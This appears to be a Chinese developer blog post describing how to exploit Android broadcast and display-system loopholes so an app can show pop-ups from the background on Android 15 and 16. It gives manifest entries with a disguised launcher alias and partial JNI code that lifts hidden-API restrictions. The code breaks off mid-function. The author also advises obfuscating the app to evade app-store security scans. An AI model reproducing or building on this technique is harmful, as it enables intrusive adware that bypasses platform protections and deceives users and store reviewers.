利用Android系统漏洞实现后台弹窗(外弹)

利用Android系统漏洞实现后台弹窗(外弹)
demo核心代码展示利用Android显示系统和广播系统的漏洞实现在后台弹窗的功能,支持最新Android15,16版本。
核心功能都是在so层去做,大量使用了jni反调, 如果要上架到应用市场,需要对代码做进一步混淆,加固以应对市场安全扫描。

关键:从 Android 8.0(API 26)开始,禁止使用 context.sendBroadcast() 发送隐式广播(即没有指定 setPackage() 或明确组件的广播)。
但在某些系统场景中(如 AlarmManager、JobScheduler 触发的 PendingIntent,Android 16的MediaSession,MediaButterReceiver)仍隐式支持
再配合显示系统的调用即可以实现外弹。

1,先在Manifest注册几个组件:

<activity
    android:name="com.x1.cd.lq"
    android:exported="false"
    android:launchMode="singleTop"
   />
<activity
    android:name=".EnryActivity"
    android:exported="true"
    android:screenOrientation="portrait">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
        <data android:scheme="ss" android:host="com.cd.lq"/>
    </intent-filter>
</activity>
<activity-alias
    android:name="com.face.detect.FActivity"
    android:enabled="false"
    android:exported="true"
    android:targetActivity=".EnryActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity-alias>

2,隐藏显示组件

static bool setHiddenApiExemptions(JNIEnv* env) {
  
    jclass vmRuntimeClass = nullptr;
    jmethodID getRuntimeMethod = nullptr;
    jobject vmRuntimeInstance = nullptr;
    jmethodID setHiddenApiExemptionsMethod = nullptr;
    jclass stringClass = nullptr;
    jobjectArray exemptionsArray = nullptr;
    jstring exemptionString = nullptr;

    try {
      
        vmRuntimeClass = env->FindClass("dalvik/system/VMRuntime");
        if (!vmRuntimeClass) {
            LOGE("Failed to find VMRuntime class");
            env->ExceptionClear();
            return false;
        }


        getRuntimeMethod = env->GetStaticMethodID(vmRuntimeClass, "getRuntime", "()Ldalvik/system/VMRuntime;");
        if (!getRuntimeMethod) {
            LOGE("Failed to find VMRuntime.getRuntime() method");
            env->ExceptionClear();
            return false;
        }

        vmRuntimeInstance = env->CallStaticObjectMethod(vmRuntimeClass, getRuntimeMethod);
        if (!vmRuntimeInstance) {
            LOGE("Failed to get VMRuntime instance");
            env->ExceptionClear();
            return false;
        }

        setHiddenApiExemptionsMethod = env->GetMethodID(vmRuntimeClass, "setHiddenApiExemptions", "([Ljava/lang/String;)V");
        if (!setHiddenApiExemptionsMethod) {
            LOGE("Failed to find VMRuntime.setHiddenApiExemptions() method");
            env->ExceptionClear();
            return false;
        }

        stringClass = env->FindClass("java/lang/String");
        if (!stringClass) {
            LOGE("Failed to find java.lang.String class");
            env->ExceptionClear();
            return false;
        }

        exemptionsArray = env->NewObjectArray(1, stringClass, nullptr);
        if (!exemptionsArray) {
            LOGE("Failed to create exemptions string array");
            env->ExceptionClear();
            return false;
        }

        exemptionString = env->NewStringUTF("L");
        if (!exemptionString) {
             LOGE("Failed to create exemption string");
             env->ExceptionClear();
             return false;
         }

        env->SetObjectArrayElement(exemptionsArray, 0, exemptionString);
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值